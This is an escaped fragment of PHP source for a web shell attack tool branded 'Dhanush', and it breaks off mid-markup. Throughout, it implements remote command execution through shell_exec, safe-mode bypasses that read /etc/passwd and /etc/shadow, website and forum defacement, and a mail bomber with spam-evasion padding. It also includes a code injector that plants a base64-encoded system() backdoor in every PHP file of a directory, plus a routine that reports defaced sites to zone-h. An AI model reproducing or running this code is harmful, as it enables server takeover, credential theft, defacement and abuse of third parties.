if(isset(\$_GET['bypassit']))\r\n{\r\n\tif(isset(\$_GET['copy']))\r\n\t{\r\n\t\tif(@copy(\$_GET['copy'],\"test1.php\")) \r\n\t\t{\r\n\t\t\t\$fh=fopen(\"test1.php\",'r');\r\n\t\t\techo \"<textarea cols=120 rows=20 class=box readonly>\".htmlspecialchars(@fread(\$fh,filesize(\"test1.php\"))).\"</textarea></br></br>\";\r\n\t\t\t@fclose(\$fh);\r\n\t\t\tunlink(\"test1.php\");\r\n\t\t} \r\n\t}\r\n\telse if(isset(\$_GET['imap']))\r\n\t{\r\n\t\t\$string = \$_GET['imap'];\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t\$stream = imap_open(\$string, \"\", \"\");\r\n\t\t\$str = imap_body(\$stream, 1);\r\n\t\techo \"</textarea>\";\r\n\t}\r\n\telse if(isset(\$_GET['sql']))\r\n\t{\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t\$file=\$_GET['sql'];\r\n\t\t\r\n\t\t\$mysql_files_str = \"/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf\";\r\n\t\t\$mysql_files = explode(':', \$mysql_files_str);\r\n\t\t\t\r\n\t\t\$sql = array (\r\n\t\t\t\"USE \$mdb\",\r\n\t\t\t\t'CREATE TEMPORARY TABLE ' . (\$tbl = 'A'.time ()) . ' (a LONGBLOB)',\r\n\t\t\t\t\"LOAD DATA LOCAL INFILE '\$file' INTO TABLE \$tbl FIELDS \"\r\n\t\t\t\t. \"TERMINATED BY '__THIS_NEVER_HAPPENS__' \"\r\n\t\t\t\t. \"ESCAPED BY '' \"\r\n\t\t\t\t. \"LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'\",\r\n\t\t\t\t\r\n\t\t\t\t\"SELECT a FROM \$tbl LIMIT 1\"\r\n\t\t\t\t);\r\n\t\tmysql_connect (\$mhost, \$muser, \$mpass);\r\n\t\t\t\t\r\n\t\tforeach (\$sql as \$statement) {\r\n\t\t \$q = mysql_query (\$statement);\r\n\t\t\r\n\t\t if (\$q == false) die (\r\n\t\t\t\t \"FAILED: \" . \$statement . \"\\n\" .\r\n\t\t\t\t\t \"REASON: \" . mysql_error () . \"\\n\"\r\n\t\t\t\t );\r\n\t\t\t\t\r\n\t\t if (! \$r = @mysql_fetch_array (\$q, MYSQL_NUM)) continue;\r\n\t\t\t\r\n\t\t\t\t echo htmlspecialchars(\$r[0]);\r\n\t\t\t\t mysql_free_result (\$q);\r\n\t\t\t\t}\r\n\t\t\t\techo \"</textarea>\";\r\n\t\t\t}\r\n\telse if(isset(\$_GET['curl']))\r\n\t{\r\n\t\t\$ch=curl_init(\"file://\" . \$_GET[curl]);\r\n\t\tcurl_setopt(\$ch,CURLOPT_HEADERS,0);\r\n\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\$file_out=curl_exec(\$ch);\r\n\t\tcurl_close(\$ch);\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\".htmlspecialchars(\$file_out).\"</textarea></br></br>\";\r\n\t}\r\n\telse if(isset(\$_GET['include']))\r\n\t{\r\n\t\tif(file_exists(\$_GET['include']))\r\n\t\t{\r\n\t\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t\t@include(\$_GET['include']);\r\n\t\t\techo \"</textarea>\";\r\n\t\t}\r\n\t\telse\r\n\t\t\techo \"<br><center><font size=3>Can't Read\" . \$_GET['include'] . \"</font></center>\";\r\n\t}\r\n\telse if(isset(\$_GET['id']))\r\n\t{\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\tfor(\$uid=0;\$uid<60000;\$uid++)\r\n\t\t{ //cat /etc/passwd\r\n\t\t\t\$ara = posix_getpwuid(\$uid);\r\n\t\t\tif (!empty(\$ara)) \r\n\t\t\t{\r\n\t\t\t\twhile (list (\$key, \$val) = each(\$ara))\r\n\t\t\t\t{\r\n\t\t\t\t\tprint \"\$val:\";\r\n\t\t\t\t}\r\n\t\t\t\tprint \"\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"</textarea>\";\r\n\t\tbreak;\r\n\t}\r\n\telse if(isset(\$_GET['tempnam']))\r\n\t{\r\n\t\t\$mytmp = tempnam ( 'tmp', \$_GET['tempnam'] );\r\n\t\t\$fp = fopen ( \$mytmp, 'r' );\r\n\t\twhile(!feof(\$fp))\r\n\t\t\techo fgets(\$fp);\r\n\t\tfclose ( \$fp );\r\n\t}\r\n\telse if(isset(\$_GET['symlnk']))\r\n\t{\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t@mkdir(\"mydhanush\",0777);\r\n\t\t@chdir(\"mydhanush\");\r\n\t\texecmd(\"ln -s /etc/passwd\");\r\n\t\t\r\n\t\techo file_get_contents(\"http://\" . \$_SERVER['HTTP_HOST'] . \"/mydhanush/passwd\");\r\n\t\techo \"</textarea>\";\r\n\t}\r\n\tif(isset(\$_GET['newtype']))\r\n\t{\r\n\t\t\$filename = \$_GET['newtype'];\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\tif(\$_GET['optiontype'] == \"xxd\")\r\n\t\t\techo execmd(\"xxd \".\$filename);\r\n\t\telse if(\$_GET['optiontype'] == \"rev\")\r\n\t\t\techo execmd(\"rev \".\$filename);\r\n\t\tif(\$_GET['optiontype'] == \"tac\")\r\n\t\t\techo execmd(\"tac \".\$filename);\r\n\t\tif(\$_GET['optiontype'] == \"more\")\r\n\t\t\techo execmd(\"more \".\$filename);\r\n\t\tif(\$_GET['optiontype'] == \"less\")\r\n\t\t\techo execmd(\"less \".\$filename);\r\n\t\techo \"</textarea>\";\r\n\t}\r\n}\r\n// Deface Website\r\nelse if(isset(\$_GET['deface']))\r\n{\r\n\t\$myfile = fopen(\$_GET['deface'],'w');\r\n\tif(fwrite(\$myfile, base64_decode(\$ind)))\r\n\t{fclose(\$myfile);\r\n\techo \"Index Defaced Successfully\";}\r\n\telse\r\n\t\techo \"Donot have write permission\";\r\n}\r\nelse if(isset(\$_GET['perms']))\r\n{\r\n?>\r\n <form>\r\n\t<input type=\"hidden\" name=\"myfilename\" value=\"<?php echo \$_GET['myfilepath']; ?>\">\r\n <table align=\"center\" border=\"1\" style=\"width:40%;border-color:#333333;\">\r\n <tr>\r\n <td style=\"height:40px\" align=\"right\">Change Permissions </td><td align=\"center\"><input value=\"0755\" name=\"chmode\" class=\"sbox\" /></td> \r\n </tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\" style=\"height:60px\">\r\n <input type=\"button\" onClick=\"changeperms(chmode.value,myfilename.value)\" value=\"Change Permission\" class=\"but\" style=\"padding: 5px;\" /></td>\r\n\t\t\t</tr>\r\n </table>\r\n\t\t\r\n\t</form> \r\n <?php\r\n}\r\nelse if(isset(\$_GET[\"chmode\"]))\r\n{\r\n\tif(\$_GET['chmode'] != null && is_numeric(\$_GET['chmode']))\r\n\t{\r\n\t\t\$perms = 0; \r\n for(\$i=strlen(\$_GET['chmode'])-1;\$i>=0;--\$i) \r\n \$perms += (int)\$_GET['chmode'][\$i]*pow(8, (strlen(\$_GET['chmode'])-\$i-1)); \r\n\t\tif(@chmod(\$_GET['myfilename'],\$perms))\r\n\t\t\techo \"<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><blink>Cannot Change File Permissions</blink></center>\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['rename']))\r\n{\r\n?>\r\n <form>\r\n\t <table border=\"0\" cellpadding=\"3\" cellspacing=\"3\">\r\n <tr>\r\n <td>File </td><td><input value=\"<?php echo \$_GET['myfilepath'];?>\" name=\"file\" class=\"box\" /></td>\r\n </tr>\r\n <tr>\r\n <td>To </td><td><input value=\"<?php echo \$_GET['myfilepath'];?>\" name=\"to\" class=\"box\" /></td> \r\n </tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\"><input type=\"button\" onClick=\"renamefun(file.value,to.value)\" value=\"Rename It\" class=\"but\" style=\"margin-left: 160px;padding: 5px;\"/></td>\r\n\t\t\t</tr>\r\n </table>\r\n\t</form> \r\n <?php\r\n \r\n}\r\nelse if(isset(\$_GET['renamemyfile']))\r\n{\r\n\tif(isset(\$_GET['to']) && isset(\$_GET['file']))\r\n\t{\r\n\t\t if(!rename(\$_GET['file'], \$_GET['to']))\r\n\t\t \techo \"Cannot Rename File\";\r\n\t\telse\r\n\t\t\techo \"<font class=txt>File Renamed Successfully</font>\";\r\n\t\r\n\t}\r\n}\r\nelse if(isset(\$_GET['open']))\r\n{\r\n\tif(is_file(\$_GET['myfilepath']))\r\n\t{\r\n\t\t\$owner = \"0/0\";\r\n\t\tif(\$os == \"Linux\")\r\n\t\t\t\$owner = getOGid(\$_GET['myfilepath']);\r\n\t\t?>\r\n\t\t\t<form>\r\n\t\t\t<table style=\"width:57%;\">\r\n\t\t\t\t<tr align=\"left\">\r\n\t\t\t\t\t<td align=\"left\">File : </td><td><font class=txt><?php echo \$_GET['myfilepath'];?></font></td><td align=\"left\">Permissions : </td><td><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo addslashes(\$_GET['myfilepath']); ?>')\"><?php echo filepermscolor(\$_GET['myfilepath']);?></a></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>Size : </td><td><?php echo HumanReadableFileSize(filesize(\$_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo \$owner;?></font></td> \r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t<textarea name=\"content\" rows=\"15\" cols=\"100\" class=\"box\"><?php\r\n\t\t\t\$content = htmlspecialchars(file_get_contents(\$_GET['myfilepath']));\r\n\t\t\tif(\$content)\r\n\t\t\t{\r\n\t\t\t\techo \$content;\r\n\t\t\t}\r\n\t\t\telse if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))\r\n\t\t\t{\r\n\t\t\t\tif(filesize(\$_GET['myfilepath']) != 0 )\r\n\t\t\t\t{\r\n\t\t\t\t\tfopen(\$_GET['myfilepath']);\r\n\t\t\t\t\twhile(!feof())\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\techo htmlspecialchars(fgets(\$_GET['myfilepath']));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\r\n\t\t\t?>\r\n\t\t\t</textarea><br />\r\n\t\t\t<input name=\"save\" type=\"button\" onClick=\"savemyfile('<?php echo addslashes(\$_GET['myfilepath']); ?>',content.value)\" value=\"Save Changes\" id=\"spacing\" class=\"but\"/>\r\n\t\t\t</form>\r\n <?php\r\n\t}\r\n\telse\r\n\t\techo \"File does not exist !!!!\";\r\n}\r\nelse if(isset(\$_POST['file']) && isset(\$_POST['content']))\r\n{\r\n if(file_exists(\$_POST['file']))\r\n {\r\n \$handle = fopen(\$_POST['file'],\"w\");\r\n if(fwrite(\$handle,\$_POST['content']))\r\n \techo \"<font class=txt>File Saved Successfully!</font>\";\r\n\telse\r\n\t\techo \"Cannot Write into File\";\r\n }\r\n else\r\n {\r\n echo \"File Name Specified does not exists!\";\r\n }\r\n}\r\nelse if(isset(\$_POST[\"SendNowToZoneH\"]))\r\n{\r\n\t\$hacker = \$_POST['defacer'];\r\n\t\$method = \$_POST['hackmode'];\r\n\t\$neden = \$_POST['reason'];\r\n\t\$site = \$_POST['domain'];\r\n\t\r\n\tif (empty(\$hacker))\r\n\t{\r\n\t\tdie(\"<center><font size=3>[-] You Must Fill the Attacker name !</font></center>\");\r\n\t}\r\n\telseif(\$method == \"--------SELECT--------\") \r\n\t{\r\n\t\tdie(\"<center><font size=3>[-] You Must Select The Method !</center>\");\r\n\t}\r\n\telseif(\$neden == \"--------SELECT--------\") \r\n\t{\r\n\t\tdie(\"<center><font size=3>[-] You Must Select The Reason</center>\");\r\n\t}\r\n\telseif(empty(\$site)) \r\n\t{\r\n\t\tdie(\"<center><font size=3>[-] You Must Inter the Sites List !</center>\");\r\n\t}\r\n\t// Zone-h Poster\r\n\tfunction ZoneH(\$url, \$hacker, \$hackmode,\$reson, \$site )\r\n\t{\r\n\t\t\$k = curl_init();\r\n\t\tcurl_setopt(\$k, CURLOPT_URL, \$url);\r\n\t\tcurl_setopt(\$k,CURLOPT_POST,true);\r\n\t\tcurl_setopt(\$k, CURLOPT_POSTFIELDS,\"defacer=\".\$hacker.\"&domain1=\". \$site.\"&hackmode=\".\$hackmode.\"&reason=\".\$reson);\r\n\t\tcurl_setopt(\$k,CURLOPT_FOLLOWLOCATION, true);\r\n\t\tcurl_setopt(\$k, CURLOPT_RETURNTRANSFER, true);\r\n\t\t\$kubra = curl_exec(\$k);\r\n\t\tcurl_close(\$k);\r\n\t\treturn \$kubra;\r\n\t}\r\n\t\r\n\t\$i = 0;\r\n \$sites = explode(\"\\n\", \$site);\r\n echo \"<pre class=ml1 style='margin-top:5px'>\";\r\n\twhile(\$i < count(\$sites)) \r\n\t{\r\n\t\tif(substr(\$sites[\$i], 0, 4) != \"http\") \r\n\t\t{\r\n\t\t\t\t\$sites[\$i] = \"http://\".\$sites[\$i];\r\n\t\t}\r\n\t\tZoneH(\"http://zone-h.org/notify/single\", \$hacker, \$method, \$neden, \$sites[\$i]);\r\n\t\techo \"<font class=txt size=3>Site : \".\$sites[\$i].\" Posted !</font><br>\";\r\n\t\t++\$i;\r\n\t}\r\n\t\t \r\n\techo \"<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>\";\r\n}\r\nelse if(isset(\$_GET['executemycmd']))\r\n{\r\n\t\$comm = \$_GET['executemycmd'];\r\n\tchdir(\$_GET['executepath']);\r\n\techo shell_exec(\$comm);\r\n}\r\n// View Passwd file\r\nelse if(isset(\$_GET['passwd']))\r\n{\r\n\t\$test='';\r\n \t\$tempp= tempnam(\$test, \"cx\");\r\n\t\$get = \"/etc/passwd\";\r\n\t\$name=@posix_getpwuid(@fileowner(\$get)); \r\n\t\$group=@posix_getgrgid(@filegroup(\$get)); \r\n\t\$owner = \$name['name']. \" / \". \$group['name']; \r\n\t?>\r\n\t<table style=\"width:57%;\">\r\n <tr>\r\n <td align=\"left\">File : </td><td><font class=txt><?php echo \$get; ?></font></td><td align=\"left\">Permissions : </td><td><?php echo filepermscolor(\$get);?></td>\r\n </tr>\r\n <tr>\r\n <td>Size : </td><td><?php echo filesize(\$get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo \$owner;?></font></td> \r\n </tr>\r\n </table>\r\n\t<?php\r\n\tif(copy(\"compress.zlib://\".\$get, \$tempp))\r\n\t{\r\n\t\t\$fopenzo = fopen(\$tempp, \"r\");\r\n\t\t\$freadz = fread(\$fopenzo, filesize(\$tempp));\r\n\t\tfclose(\$fopenzo);\r\n\t\t\$source = htmlspecialchars(\$freadz);\r\n\t\techo \"<tr><td><center><textarea rows='20' cols='80' class=box name='source'>\$source</textarea><br>\";\r\n\t\tunlink(\$tempp);\r\n \t} \r\n\telse \r\n\t{\r\n \t?>\r\n\t\t<form>\r\n\t\t\t<input type=\"hidden\" name=\"etcpasswd\">\r\n\t\t\t<table class=\"tbl\" border=\"1\" cellpadding=\"5\" cellspacing=\"5\" align=\"center\" style=\"width:40%;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td>From : </td><td><input type=\"text\" name=\"val1\" class=\"sbox\" value=\"1\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td>To : </td><td><input type=\"text\" name=\"val2\" class=\"sbox\" value=\"1000\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><input type=\"submit\" value=\" Go \" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</table><br>\r\n\t\t</form>\r\n\t\t<?php \r\n\t}\r\n}\r\nelse if(isset(\$_GET['shadow']))\r\n{\r\n\t\$test='';\r\n \t\$tempp= tempnam(\$test, \"cx\");\r\n\t\$get = \"/etc/shadow\";\r\n\tif(copy(\"compress.zlib://\".\$get, \$tempp))\r\n\t{\r\n\t\t\$fopenzo = fopen(\$tempp, \"r\");\r\n\t\t\$freadz = fread(\$fopenzo, filesize(\$tempp));\r\n\t\tfclose(\$fopenzo);\r\n\t\t\$source = htmlspecialchars(\$freadz);\r\n\t\techo \"<tr><td><center><font size='3' face='Verdana'>\$get</font><br><textarea rows='20' cols='80' class=box name='source'>\$source</textarea>\";\r\n\t\tunlink(\$tempp);\r\n \t} \r\n}\r\nelse if(isset(\$_GET['bomb']))\r\n{\r\n\t?><div id=\"showmail\"></div>\r\n\t<form>\r\n\t<table id=\"margins\" style=\"width:100%;\">\r\n\t\t<tr>\r\n\t\t\t<td style=\"width:30%;\">To</td>\r\n\t\t\t<td>\r\n\t\t\t\t<input class=\"box\" name=\"to\" value=\"victim@domain.com,victim2@domain.com\" onFocus=\"if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';\" onBlur=\"if(this.value=='')this.value='victim@domain.com,victim2@domain.com';\"/>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td style=\"width:30%;\">Subject</td>\r\n\t\t\t<td>\r\n\t\t\t\t<input type=\"text\" class=\"box\" name=\"subject\" value=\"Dhanush Here!\" onFocus=\"if(this.value == 'Dhanush Here!')this.value = '';\" onBlur=\"if(this.value=='')this.value='Dhanush Here!';\" />\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t <tr>\r\n\t\t\t<td style=\"width:30%;\">No. of Times</td>\r\n\t\t\t<td>\r\n\t\t\t\t<input class=\"box\" name=\"times\" value=\"100\" onFocus=\"if(this.value == '100')this.value = '';\" onBlur=\"if(this.value=='')this.value='100';\"/>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td style=\"width:30%;\">Pad your message (Less spam detection)</td>\r\n\t\t\t<td><input type=\"checkbox\" name=\"padding\"/></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td colspan=\"2\"><textarea name=\"message\" cols=\"110\" rows=\"10\" class=\"box\">Hello !! This is Dhanush!!</textarea></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td rowspan=\"2\">\r\n\t\t\t\t<input style=\"margin : 20px; margin-left: 390px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)\" class=\"but\" value=\" Bomb! \"/>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t</table> \r\n\t</form>\r\n\t<?php\r\n}\r\n\r\n//Mass Mailer\r\nelse if(isset(\$_GET['mail']))\r\n{\r\n ?><div id=\"showmail\"></div>\r\n\t\t<div align=\"left\">\r\n <form>\r\n <table align=\"left\" style=\"width:100%;\">\r\n <tr>\r\n <td style=\"width:10%;\">From</td>\r\n <td style=\"width:80%;\" align=\"left\"><input name=\"from\" class=\"box\" value=\"Hello@abcd.in\" onFocus=\"if(this.value == 'president@whitehouse.gov')this.value = '';\" onBlur=\"if(this.value=='')this.value='president@whitehouse.gov';\"/></td>\r\n </tr>\r\n \r\n <tr>\r\n <td style=\"width:20%;\">To</td>\r\n <td style=\"width:80%;\"><input class=\"box\" class=\"box\" name=\"to\" value=\"victim@domain.com,victim2@domain.com\" onFocus=\"if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';\" onBlur=\"if(this.value=='')this.value='victim@domain.com,victim2@domain.com';\"/></td>\r\n </tr>\r\n \r\n <tr>\r\n <td style=\"width:20%;\">Subject</td>\r\n <td style=\"width:80%;\"><input type=\"text\" class=\"box\" name=\"subject\" value=\"Dhanush Here!!\" onFocus=\"if(this.value == 'Dhanush Here!!')this.value = '';\" onBlur=\"if(this.value=='')this.value='Dhanush Here!!';\" /></td>\r\n </tr>\r\n \r\n \r\n <tr>\r\n <td colspan=\"2\">\r\n <textarea name=\"message\" cols=\"110\" rows=\"10\" class=\"box\">Hello !! This is Dhanush!!!</textarea>\r\n </td>\r\n </tr>\r\n \r\n \r\n <tr>\r\n <td rowspan=\"2\">\r\n <input style=\"margin : 20px; margin-left: 390px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"sendmail('massmailing',to.value,subject.value,message.value,from.value)\" class=\"but\" value=\" Send! \"/>\r\n </td>\r\n </tr>\r\n </table> \r\n </form></div> \r\n <?php\r\n}\r\n// Get Domains\r\nelse if(isset(\$_REQUEST[\"symlinkserver\"]))\r\n{\r\n\t?>\r\n\t<center><table><tr>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('domains')\"><font class=txt><b>| Get Domains |</b></font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('symlink')\"><font class=txt><b>| Symlink Server |</b></font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('symlinkfile')\"><font class=txt><b>| Symlink File |</b></font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('script')\"><font class=txt><b>| Script Locator |</b></font></a></td>\r\n\t</tr></table></center><br>\r\n\t<div id=\"showdata\"></div><?php\r\n}\r\n// Forum Manager\r\nelse if(isset(\$_REQUEST[\"forum\"]))\r\n{ ?>\r\n\t<center><table><tr><td><a href=# onClick=\"getdata('defaceforum')\"><font class=txt size=\"4\">| Forum Defacer |</font></a></td>\r\n\t<td><a href=# onClick=\"getdata('passwordchange')\"><font class=txt size=\"4\">| Forum Password Changer |</font></a></td>\r\n\t</tr></table></center><br><div id=\"showdata\"></div>\r\n\t<?php \r\n}\r\n// Sec info\r\nelse if(isset(\$_GET['secinfo']))\r\n{ ?><div id=showdata></div>\r\n<center><div id=\"showmydata\"></div>\r\n</center>\r\n<br><center><font color =red size=5>Server security information</font><br><br></center>\r\n\t<table style=\"width:100%;border-color:#333333;\" border=\"1\">\r\n\t<tr>\r\n\t\t<td style=\"width:7%;\">Curl</td>\r\n\t\t<td style=\"width:7%;\">Oracle</td>\r\n\t\t<td style=\"width:7%;\">MySQL</td>\r\n\t\t<td style=\"width:7%;\">MSSQL</td>\r\n\t\t<td style=\"width:7%;\">PostgreSQL</td>\r\n\t\t<td style=\"width:12%;\">Open Base Directory</td>\r\n\t\t<td style=\"width:10%;\">Safe_Exec_Dir</td>\r\n\t\t<td style=\"width:7%;\">PHP Version</td>\r\n\t\t<td style=\"width:7%;\">Magic Quotes</td> \r\n\t\t<td style=\"width:7%;\">Server Admin</td> \r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php curlinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php oracleinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php mysqlinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php mssqlinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php postgresqlinfo(); ?></font></td>\r\n\t\t<td style=\"width:12%;\"><font class=\"txt\"><?php echo \$basedir; ?></font></td>\r\n\t\t<td style=\"width:10%;\"><font class=\"txt\"><?php if(@function_exists('ini_get')) { if (''==(\$df=@ini_get('safe_mode_exec_dir'))) {echo \"<font >NONE</font></b>\";}else {echo \"<font color=green>\$df</font></b>\";};} ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php phpver(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php magic_quote(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php serveradmin(); ?></font></td>\r\n\t</tr>\r\n</table><br> <?php\r\n\tmysecinfo();\r\n}\r\n// Code Injector\r\n\r\nelse if(isset(\$_GET['injector']))\r\n{\r\n ?>\r\n\t<form method='POST'>\r\n <table id=\"margins\">\r\n <tr>\r\n <td width=\"100\" class=\"title\">\r\n Directory\r\n </td>\r\n <td>\r\n <input class=\"box\" name=\"pathtomass\" value=\"<?php echo getcwd().\$SEPARATOR; ?>\" />\r\n </td>\r\n\t\t\t\t\t\r\n </tr>\r\n <tr>\r\n <td class=\"title\">\r\n Mode\r\n </td>\r\n <td>\r\n <select style=\"width: 400px;\" name=\"mode\" class=\"box\">\r\n <option value=\"Apender\">Apender</option>\r\n <option value=\"Overwriter\">Overwriter</option>\r\n </select>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td class=\"title\">\r\n File Type\r\n </td>\r\n <td>\r\n <input type=\"text\" class=\"box\" name=\"filetype\" value=\"php\" onBlur=\"if(this.value=='')this.value='php';\" />\r\n </td>\r\n </tr>\r\n <tr>\r\n\t\t\t<td>Create A backdoor by injecting this code in every php file of current directory</td>\r\n\t\t</tr>\r\n \r\n <tr>\r\n <td colspan=\"2\">\r\n <textarea name=\"injectthis\" cols=\"110\" rows=\"10\" class=\"box\"><?php echo base64_decode(\"PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+\"); ?></textarea>\r\n </td>\r\n </tr>\r\n <tr>\r\n <td rowspan=\"2\">\r\n <input style=\"margin : 20px; margin-left: 390px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)\" class=\"but\" value=\"Inject \"/>\r\n </td>\r\n </tr>\r\n </form>\r\n </table><div id=\"showinject\"</div>\r\n\t\t<?php\r\n}\r\n// Bypass\r\nelse if(isset(\$_GET[\"bypass\"]))\r\n{\r\n\t?><center><div id=\"showbyp\"></div></center>\r\n\t<table cellpadding=\"7\" align=\"center\" border=\"3\" style=\"width:70%;border-color:#333333;\">\r\n\t\t<tr>\r\n\t\t\t<td align=\"center\" colspan=\"2\"><font color=\"#FF0000\" size=\"3\">Safe mode bypass</font></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td align=\"center\">\r\n\t\t\t\t<p>Using copy() function</p>\r\n\t\t\t\t<form onSubmit=\"bypassfun('copy',copy.value);return false;\">\r\n\t\t\t\t<input type=\"text\" name=\"copy\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('copy',copy.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using imap() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('imap',imap.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"imap\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('imap',imap.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using sql() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('sql',sql.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"sql\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('sql',sql.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using Curl() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('curl',curl.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"curl\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('curl',curl.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Bypass using include()</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('include',include.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"include\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('include',include.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using id() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('id',id.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"id\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('id',id.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t<p>Using tempnam() function</p>\r\n\t\t\t\t\t\t<form onSubmit=\"bypassfun('tempnam',tempname.value);return false;\">\r\n\t\t\t\t\t\t<input type=\"text\" name=\"tempname\" value=\"../../../etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('tempnam',tempname.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td 